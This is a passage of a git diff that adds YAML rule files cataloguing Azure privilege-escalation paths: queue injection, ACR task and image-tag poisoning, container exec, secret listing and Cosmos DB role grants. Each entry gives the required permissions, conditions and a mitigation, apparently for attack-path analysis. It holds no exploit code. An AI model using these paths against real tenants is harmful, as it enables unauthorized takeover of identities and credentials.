id: azure-queue-message-injection-consumer + provider: azure + service: storage + title: Inject queue messages into a privileged consumer + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md#conditional-escalation-through-a-downstream-consumer + source_revision: a66f094ede + summary: A consumer that trusts queue message fields as commands, URLs or serialized objects runs attacker input with its managed identity. + requires: + all_of: [] + any_of: + - - action: Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action + data_action: true + scope: "{pivot}" + - - action: Microsoft.Storage/storageAccounts/queueServices/queues/messages/write + data_action: true + scope: "{pivot}" + - - action: Microsoft.Storage/storageAccounts/listKeys/action + scope: "{pivot}" + - - action: Microsoft.Storage/storageAccounts/regenerateKey/action + scope: "{pivot}" + - - action: Microsoft.Storage/storageAccounts/listAccountSas/action + scope: "{pivot}" + - - action: Microsoft.Storage/storageAccounts/listServiceSas/action + scope: "{pivot}" + pivot_resource_type: Microsoft.Storage/storageAccounts + target: + kind: azure_managed_identity + selector: + azure_consumer_of_pivot: queue_trigger + scope: any + aggregate_as: "Workload identities triggered by queues of storage account {pivot}" + outcome: workload_execution + conditions: + - id: consumer_trusts_message + description: The page states queue write alone does not guarantee code execution; the consumer must unsafely trust message fields. + - id: existing_message_rewrite + description: The messages/write alternative only alters existing messages and needs their ID and current pop receipt (obtained by a receive). + - id: shared_key_access_enabled + description: The listKeys, regenerateKey, listAccountSas and listServiceSas alternatives require shared key authorization to be enabled on the account. + blockers: + - azure_deny_assignment + confidence: conditional + severity: medium + mitigation: Validate and authenticate message content in consumers, and separate queue writers from privileged consumers. + references: + - https://learn.microsoft.com/en-us/azure/storage/queues/authorize-access-azure-active-directory + notes: Service Bus and Event Grid injection use the same selector in service_bus.yaml and event_grid.yaml; Event Hubs injection waits for an event_hubs_trigger binding. diff --git a/src/privilege-escalation-paths-research/azure/container_registry.yaml b/src/privilege-escalation-paths-research/azure/container_registry.yaml new file mode 100644 index 0000000000..879877a2eb --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/container_registry.yaml @@ -0,0 +1,235 @@ +- id: azure-acr-task-write-existing-identity + provider: azure + service: container_registry + title: Create or update an ACR Task running with the task's managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriestaskswrite + source_revision: 171e422 + summary: The source can obtain the privileges of the ACR Task's managed identities. + requires: + all_of: + - action: Microsoft.ContainerRegistry/registries/tasks/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ContainerRegistry/registries/tasks + scope: inherited_scope + aggregate_as: Identities of ACR Task {target.host_resource} + conditions: + - id: task_runs + description: The task must run; tasks/write can itself set a timer trigger, so no separate run permission is strictly needed (the run waits for the schedule). + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict tasks/write and keep task identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-authentication-managed-identity + notes: A newly created system-assigned task identity has no roles; value comes from existing identity-bearing tasks. +- id: azure-acr-task-assign-user-assigned-identity + provider: azure + service: container_registry + title: Create an ACR Task with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriestaskswrite + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.ContainerRegistry/registries/tasks/write + scope: '{pivot}' + pivot_resource_type: Microsoft.ContainerRegistry/registries + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: task_runs + description: The task must run (schedule, source trigger, or a separate run permission). + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and tasks/write. + references: + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-authentication-managed-identity + notes: '' +- id: azure-acr-push-restart-aci-consumer + provider: azure + service: container_registry + title: Overwrite a registry image and restart the consuming container group + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#microsoftcontainerregistryregistriespushwrite-microsoftcontainerinstancecontainergroupsrestartaction + source_revision: a66f094ede + summary: Replacing the image tag a container group pulls and restarting the group runs attacker code with the group's managed identities. + requires: + all_of: + - action: Microsoft.ContainerInstance/containerGroups/restart/action + scope: "{target.host_resource}" + any_of: + - - action: Microsoft.ContainerRegistry/registries/push/write + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/repositories/content/read + data_action: true + scope: "{pivot}" + - action: Microsoft.ContainerRegistry/registries/repositories/content/write + data_action: true + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/listCredentials/action + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/regenerateCredential/action + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/generateCredentials/action + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/importImage/action + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/taskruns/write + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/scheduleRun/action + scope: "{pivot}" + pivot_resource_type: Microsoft.ContainerRegistry/registries + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ContainerInstance/containerGroups + scope: inherited_scope + aggregate_as: "Managed identities of container group {target.host_resource}" + conditions: + - id: group_pulls_mutable_tag_from_pivot + description: The container group must pull a mutable tag (not a digest) from registry {pivot}; the image-to-registry link is not evaluated. + - id: registry_write_allowed + description: The tag must not be locked (writeEnabled false) and the registry network rules must allow the push. + - id: tag_write_path + description: listCredentials and regenerateCredential need the admin user enabled; generateCredentials needs an existing token whose scope map allows push to the consumed repository; importImage must force-overwrite the existing tag; taskruns/write and scheduleRun push through a build run. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Pin consumer images by digest, lock production tags, disable the registry admin user, and restrict AcrPush / repository content write, import, task-run and containerGroups/restart/action. + references: + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-image-lock + notes: The repository content pair (both read and write are required for the manifest PUT) applies to registries using ABAC repository permissions. Consumers that only re-pull on their own (scale-out, node replacement, scheduled jobs) are not modelled because the image-to-registry consumer link is not a selector yet. +- id: azure-acr-push-restart-containerapp-consumer + provider: azure + service: container_registry + title: Overwrite a registry image and restart the consuming Container App revision + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#mutable-image-tag-poisoning-with-repository-content-permissions + source_revision: a66f094ede + summary: Replacing the mutable tag a Container App pulls and restarting its revision runs attacker code with the app's managed identities. + requires: + all_of: + - action: Microsoft.App/containerApps/revisions/restart/action + scope: "{target.host_resource}" + any_of: + - - action: Microsoft.ContainerRegistry/registries/push/write + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/repositories/content/read + data_action: true + scope: "{pivot}" + - action: Microsoft.ContainerRegistry/registries/repositories/content/write + data_action: true + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/listCredentials/action + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/regenerateCredential/action + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/generateCredentials/action + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/importImage/action + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/taskruns/write + scope: "{pivot}" + - - action: Microsoft.ContainerRegistry/registries/scheduleRun/action + scope: "{pivot}" + pivot_resource_type: Microsoft.ContainerRegistry/registries + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.App/containerApps + scope: inherited_scope + aggregate_as: "Managed identities of Container App {target.host_resource}" + conditions: + - id: app_pulls_mutable_tag_from_pivot + description: The active revision must reference a mutable tag (not a digest) from registry {pivot}; the image-to-registry link is not evaluated. + - id: registry_write_allowed + description: The tag must not be locked (writeEnabled false) and the registry network rules must allow the push. + - id: tag_write_path + description: listCredentials and regenerateCredential need the admin user enabled; generateCredentials needs an existing token whose scope map allows push to the consumed repository; importImage must force-overwrite the existing tag; taskruns/write and scheduleRun push through a build run. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Pin Container App images by digest, lock production tags, disable the registry admin user, and restrict repository write paths and revisions/restart/action. + references: + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-rbac-abac-repository-permissions + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-image-tag-version + notes: HackTricks observed that replacing the tag does not hot-reload the running revision, while a revision restart pulled the new digest and ran it with the app identity. +- id: azure-acr-verified-image-secret + provider: azure + service: container_registry + title: Pull ACR image with verified principal credential + source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/historical-cross-tenant-vulnerabilities.md#cross-subscription-not-cross-tenant-abuse-worth-noting + source_revision: 0b36331 + summary: Read an image layer containing a validated credential for another cloud principal. + source_kind: + - azure_user + - azure_service_principal + - azure_managed_identity + requires: + all_of: + - action: Microsoft.ContainerRegistry/registries/pull/read + scope: '{pivot}' + target: + kind: azure_service_principal + selector: + azure_challenge_fact: azure-acr-verified-image-secret + scope: any + aggregate_as: Pull ACR image with verified principal credential targets + conditions: + - id: verified_runtime_evidence + description: Exact source, target and successful credential or token access must be attested; absent evidence + remains UNKNOWN. + - id: collector_fact_required + description: Exact source, target, scope and requested collector facts must be verified; missing facts remain + UNKNOWN. + confidence: conditional + severity: high + mitigation: Remove the vulnerable access path or exposed credential. + references: + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles + notes: 'Collector fact required: azure_privesc_challenge_evidence; exact technique/source/target evidence required, + absent => UNKNOWN.' +- id: azure-acr-layer-credential + provider: azure + service: container_registry + title: Extract credentials from ACR image layers + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#microsoftcontainerregistryregistriespullread + source_revision: 0b36331 + summary: Read a verified usable credential from an ACR image layer and gain its Entra service principal permissions. + requires: + all_of: + - action: Microsoft.ContainerRegistry/registries/pull/read + scope: '{pivot}' + data_action: true + pivot_resource_type: Microsoft.ContainerRegistry/registries + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates + this edge; uncollected, partial, or unverified content is UNKNOWN. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/container-registry/container-registry-concepts + notes: Draft requires azure.acr.image_layer_credential_holders; the evaluator must join only verified holders, + and return UNKNOWN if that fact is missing or incomplete. diff --git a/src/privilege-escalation-paths-research/azure/containers.yaml b/src/privilege-escalation-paths-research/azure/containers.yaml new file mode 100644 index 0000000000..fbb6ce1d6c --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/containers.yaml @@ -0,0 +1,493 @@ +# Azure Container Instances, Container Apps and Container Apps Jobs techniques (declarative only). +# Source: hacktricks-cloud az-container-instances-apps-jobs-privesc.md (rev 171e422, re-verified). + +- id: azure-aci-container-exec + provider: azure + service: containers + title: Execute commands in a running Container Instances container + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftcontainerinstancecontainergroupsread-microsoftcontainerinstancecontainergroupscontainersexecaction + source_revision: 171e422 + summary: The source can obtain the privileges of the container group's managed identities. + requires: + all_of: + - action: Microsoft.ContainerInstance/containerGroups/containers/exec/action + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ContainerInstance/containerGroups + scope: inherited_scope + aggregate_as: Identities of container group {target.host_resource} + conditions: + - id: group_running + description: The container group must be running. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict containers/exec/action and keep container group identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/container-instances/container-instances-exec + notes: containerGroups/read is normally used by clients to locate the container. + +- id: azure-aci-containergroup-write-existing + provider: azure + service: containers + title: Redeploy an existing container group with changed command, image or environment + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftcontainerinstancecontainergroupswrite-environment-update + source_revision: 171e422 + summary: The source can obtain the privileges of the container group's managed identities. + requires: + all_of: + - action: Microsoft.ContainerInstance/containerGroups/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.ContainerInstance/containerGroups + scope: inherited_scope + aggregate_as: Identities of container group {target.host_resource} + conditions: + - id: uami_linked_access_check + description: Container groups are updated by a full PUT that re-submits the identity block; for groups carrying user-assigned identities ARM may also require userAssignedIdentities/assign/action on each of them (system-assigned identities are unaffected). + - id: interpreter_startup_hook + description: The environment-only variant needs a container whose entrypoint honours an attacker-set startup variable; changing image/command removes this dependency. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict containerGroups/write. + references: + - https://learn.microsoft.com/en-us/azure/container-instances/container-instances-update + notes: '' + +- id: azure-aci-assign-user-assigned-identity + provider: azure + service: containers + title: Create or update a container group with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftresourcessubscriptionsresourcegroupsread-microsoftcontainerinstancecontainergroupswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.ContainerInstance/containerGroups/write + scope: '{pivot}' + pivot_resource_type: Microsoft.Resources/resourceGroups|Microsoft.ContainerInstance/containerGroups + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and containerGroups/write. + references: + - https://learn.microsoft.com/en-us/azure/container-instances/container-instances-managed-identity + notes: Covers both the existing-group and new-group sections of the page. + +- id: azure-containerapp-exec + provider: azure + service: containers + title: Open a console in a running Container App + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappsread-microsoftappmanagedenvironmentsread-microsoftappcontainerappsrevisionsreplicasread-microsoftappcontainerappsrevisionsread-microsoftappcontainerappsgetauthtokenaction-microsoftappcontainerappsexecaction-microsoftappcontainerappsdebugaction + source_revision: 171e422 + summary: The source can obtain the privileges of the Container App's managed identities. + requires: + all_of: + - action: Microsoft.App/containerApps/getAuthToken/action + scope: '{target.host_resource}' + any_of: + - - action: Microsoft.App/containerApps/exec/action + scope: '{target.host_resource}' + - - action: Microsoft.App/containerApps/debug/action + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.App/containerApps + scope: inherited_scope + aggregate_as: Identities of Container App {target.host_resource} + conditions: + - id: replica_running + description: A running replica is required. + - id: client_reads + description: CLI clients also use containerApps/read, revisions/read, revisions/replicas/read and managedEnvironments/read. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict exec/debug/getAuthToken actions on Container Apps. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/container-console + notes: '' + +- id: azure-containerapp-write-existing + provider: azure + service: containers + title: Update an existing Container App's image, command or environment + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappswrite + source_revision: 171e422 + summary: The source can obtain the privileges of the Container App's managed identities. + requires: + all_of: + - action: Microsoft.App/containerApps/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.App/containerApps + scope: inherited_scope + aggregate_as: Identities of Container App {target.host_resource} + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict containerApps/write. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/managed-identity + notes: '' + +- id: azure-containerapp-assign-user-assigned-identity + provider: azure + service: containers + title: Attach a user-assigned identity to an existing Container App + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.App/containerApps/write + scope: '{pivot}' + pivot_resource_type: Microsoft.App/containerApps + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and containerApps/write. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/managed-identity + notes: '' + +- id: azure-containerapp-create-with-user-assigned-identity + provider: azure + service: containers + title: Create a Container App with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappswrite-microsoftmanagedidentityuserassignedidentitiesassignaction-microsoftappmanagedenvironmentsjoinaction + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.App/containerApps/write + scope: '{pivot}' + - action: Microsoft.App/managedEnvironments/join/action + scope: '*' + pivot_resource_type: Microsoft.Resources/resourceGroups + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: environment_available + description: A joinable managed environment must exist (or managedEnvironments/write to create one). + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict managedEnvironments/join/action and userAssignedIdentities/assign/action. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/managed-identity + notes: '' + +- id: azure-containerapp-sessionpool-mcp-credentials + provider: azure + service: containers + title: Fetch a session pool MCP API key and execute code in sessions + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsessionpoolsfetchmcpservercredentialsaction + source_revision: 171e422 + summary: The source can obtain the privileges of the session pool's managed identity. + requires: + all_of: + - action: Microsoft.App/sessionPools/fetchMCPServerCredentials/action + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.App/sessionPools + scope: inherited_scope + aggregate_as: Identity of session pool {target.host_resource} + conditions: + - id: mcp_enabled + description: The platform-managed MCP server must be enabled on a Shell/Python pool. + - id: identity_exposed_to_sessions + description: The pool must deliberately enable managed-identity access during the session main lifecycle. + blockers: [] + confidence: conditional + severity: high + mitigation: Disable the MCP server where unused and do not expose pool identities to sessions. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/sessions + notes: Preview feature. + +- id: azure-containerapp-sessionpool-executions + provider: azure + service: containers + title: Execute code in a dynamic session + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsessionpoolsexecutionsaction + source_revision: 171e422 + summary: The source can obtain the privileges of the session pool's managed identity. + requires: + all_of: + - action: Microsoft.App/sessionPools/executions/action + data_action: true + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.App/sessionPools + scope: inherited_scope + aggregate_as: Identity of session pool {target.host_resource} + conditions: + - id: identity_exposed_to_sessions + description: The pool must deliberately enable managed-identity access during the session main lifecycle. + blockers: [] + confidence: conditional + severity: high + mitigation: Limit Session Executor assignments and do not expose pool identities to sessions. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/sessions + notes: The page itself only claims code execution; identity reach is taken from the MCP section's statement. + +- id: azure-containerapp-job-start-template-override + provider: azure + service: containers + title: Start a Container Apps Job execution with an overridden template + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappjobsstartaction-microsoftappjobsread + source_revision: 171e422 + summary: The source can obtain the privileges of the job's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.App/jobs/start/action + scope: '{target.host_resource}' + - - action: Microsoft.App/jobs/write + scope: '{target.host_resource}' + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.App/jobs + scope: inherited_scope + aggregate_as: Identities of Container Apps Job {target.host_resource} + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict jobs/start/action and jobs/write; keep job identities least-privileged. + references: + - https://learn.microsoft.com/en-us/rest/api/containerapps/jobs/start + notes: jobs/start alone authorizes an execution-level template override per HackTricks testing. + +- id: azure-containerapp-job-assign-user-assigned-identity + provider: azure + service: containers + title: Create or update a Container Apps Job with a user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftmanagedidentityuserassignedidentitiesassignaction-microsoftappjobswrite + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities assignable in scope. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.App/jobs/write + scope: '{pivot}' + pivot_resource_type: Microsoft.App/jobs|Microsoft.Resources/resourceGroups + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_identity_assignable_in_scope: true + scope: inherited_scope + aggregate_as: User-assigned identities assignable in {scope} + conditions: + - id: new_job_needs_environment + description: Creating a new job also needs managedEnvironments/join/action on a managed environment. + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and jobs/write. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/jobs + notes: Covers the existing-job and new-job sections of the page. + +- id: azure-containerapp-list-secrets + provider: azure + service: containers + title: Read the inline secrets of a Container App + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappcontainerappslistsecretsaction + source_revision: a66f094ede + summary: The source can obtain the privileges of service principals whose client secrets are stored as inline Container App secrets. + requires: + all_of: [] + any_of: + - - action: Microsoft.App/containerApps/listSecrets/action + scope: '{pivot}' + - - action: Microsoft.Web/containerApps/listsecrets/action + scope: '{pivot}' + pivot_resource_type: Microsoft.App/containerApps|Microsoft.Web/containerApps + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in {pivot} + conditions: + - id: credential_is_sp_secret + description: Only inline secrets that hold a service-principal client secret yield an identity; Key Vault references return only the reference, and other values are data access only. + blockers: [] + confidence: conditional + severity: high + mitigation: Store app secrets as Key Vault references resolved by a least-privileged identity, use managed identities instead of service-principal secrets, and restrict containerApps/listSecrets/action. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/manage-secrets + notes: The Microsoft.Web form is the legacy provider operation named on the page. Secret content is unknown from RBAC alone. + +- id: azure-containerapp-job-list-secrets + provider: azure + service: containers + title: Read the inline secrets of a Container Apps Job + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappjobsread-microsoftappjobslistsecretsaction + source_revision: a66f094ede + summary: The source can obtain the privileges of service principals whose client secrets are stored as inline Job secrets. + requires: + all_of: + - action: Microsoft.App/jobs/listSecrets/action + scope: '{pivot}' + pivot_resource_type: Microsoft.App/jobs + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in {pivot} + conditions: + - id: credential_is_sp_secret + description: Only inline secrets that hold a service-principal client secret yield an identity; Key Vault references return only the reference. + blockers: [] + confidence: conditional + severity: high + mitigation: Store Job secrets as Key Vault references, prefer managed identities, and restrict jobs/listSecrets/action and jobs/start/action. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/manage-secrets + notes: jobs/read is used by clients to locate the job but is not the gating permission. jobs/start/action can also consume Job secrets through an execution template override (azure-containerapp-job-start-template-override). + +- id: azure-containerapp-dapr-component-list-secrets + provider: azure + service: containers + title: Read the inline secrets of a Container Apps Dapr component + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappmanagedenvironmentsdaprcomponentslistsecretsaction + source_revision: a66f094ede + summary: The source can obtain the privileges of service principals whose client secrets are stored inline in a Dapr component. + requires: + all_of: + - action: Microsoft.App/managedEnvironments/daprComponents/listSecrets/action + scope: '{pivot}' + pivot_resource_type: Microsoft.App/managedEnvironments|Microsoft.App/managedEnvironments/daprComponents + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in {pivot} + conditions: + - id: credential_is_sp_secret + description: Only components that authenticate with a service-principal client secret (for example Azure state stores or bindings configured with azureClientSecret) yield an identity; connection strings and keys are data access only. + blockers: [] + confidence: conditional + severity: high + mitigation: Configure Dapr components with managed identities or secret-store references and restrict daprComponents/listSecrets/action. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/dapr-components + notes: Component-scope assignments are enough; environment scope exposes every component. + +- id: azure-containerapp-sandbox-secret-peek + provider: azure + service: containers + title: Read the cleartext values of an ACA Sandbox secret + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsandboxgroupssecretspeekaction + source_revision: a66f094ede + summary: The source can obtain the privileges of service principals whose credentials are stored in a sandbox group secret. + requires: + all_of: + - action: Microsoft.App/sandboxGroups/secrets/peek/action + data_action: true + scope: '{pivot}' + pivot_resource_type: Microsoft.App/sandboxGroups + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Service principals with credentials stored in {pivot} + conditions: + - id: credential_is_sp_secret + description: Only secrets that hold a service-principal client secret yield an identity; API keys, bearer tokens and headers for other services are data access only. + blockers: [] + confidence: conditional + severity: high + mitigation: Inject only narrowly scoped credentials into sandbox egress policies and restrict the secrets/peek data action. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/sandboxes-get-started + notes: Preview data-plane action; secret content is unknown from RBAC alone. + +- id: azure-containerapp-sourcecontrols-write + provider: azure + service: containers + title: Repoint a Container App's GitHub Actions deployment to an attacker repository + source: src/pentesting-cloud/azure-security/az-persistence/az-container-apps-persistence.md#microsoftappcontainerappssourcecontrolswrite--repoint-github-actions-deployment + source_revision: 171e422 + summary: Rebinding the app's continuous-deployment source makes the next build deploy attacker code that runs with the app's managed identities. + requires: + all_of: + - action: Microsoft.App/containerApps/sourcecontrols/write + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.App/containerApps + scope: inherited_scope + aggregate_as: "Managed identities of Container App {target.host_resource}" + conditions: + - id: build_triggered + description: Changing the binding does not execute code; a commit or deployment on the configured branch must trigger the GitHub Actions build, and the build must succeed. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.App/containerApps/sourcecontrols/write (Container Apps Contributor, Contributor) and alert on source-control binding changes. + references: + - https://learn.microsoft.com/en-us/azure/container-apps/github-actions + notes: Same pattern as azure-appservice-sourcecontrols-write. diff --git a/src/privilege-escalation-paths-research/azure/cosmos_db.yaml b/src/privilege-escalation-paths-research/azure/cosmos_db.yaml new file mode 100644 index 0000000000..60e8b4a3eb --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/cosmos_db.yaml @@ -0,0 +1,133 @@ +- id: azure-cosmos-sql-role-assignment-write + provider: azure + service: cosmos_db + title: Grant a Cosmos DB native NoSQL data-plane role + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountssqlroledefinitionswrite-microsoftdocumentdbdatabaseaccountssqlroledefinitionsread--microsoftdocumentdbdatabaseaccountssqlroleassignmentswrite-microsoftdocumentdbdatabaseaccountssqlroleassignmentsread + source_revision: 171e422 + summary: The source can obtain full data-plane access on the Cosmos DB account. + requires: + all_of: + - action: Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: Cosmos DB data-plane admins of {target.scope} + conditions: + - id: role_definition + description: Built-in data contributor role can be assigned directly; a custom role additionally needs sqlRoleDefinitions/write. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict sqlRoleAssignments/write and sqlRoleDefinitions/write. + references: + - https://learn.microsoft.com/en-us/azure/cosmos-db/how-to-setup-rbac + notes: The page uses a custom role; built-in Cosmos DB Built-in Data Contributor makes definitions/write unnecessary. +- id: azure-cosmos-mongodb-user-definition-write + provider: azure + service: cosmos_db + title: Create a Cosmos DB for MongoDB native RBAC user and role + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#microsoftdocumentdbdatabaseaccountsmongodbroledefinitionswrite--microsoftdocumentdbdatabaseaccountsmongodbroledefinitionsread-microsoftdocumentdbdatabaseaccountsmongodbuserdefinitionswrite--microsoftdocumentdbdatabaseaccountsmongodbuserdefinitionsread + source_revision: 171e422 + summary: The source can obtain full data-plane access on the Cosmos DB for MongoDB account. + requires: + all_of: + - action: Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write + scope: '{target.scope}' + - action: Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write + scope: '{target.scope}' + target: + kind: azure_dataplane_admin + selector: + any_principal_in_scope: true + scope: inherited_scope + aggregate_as: 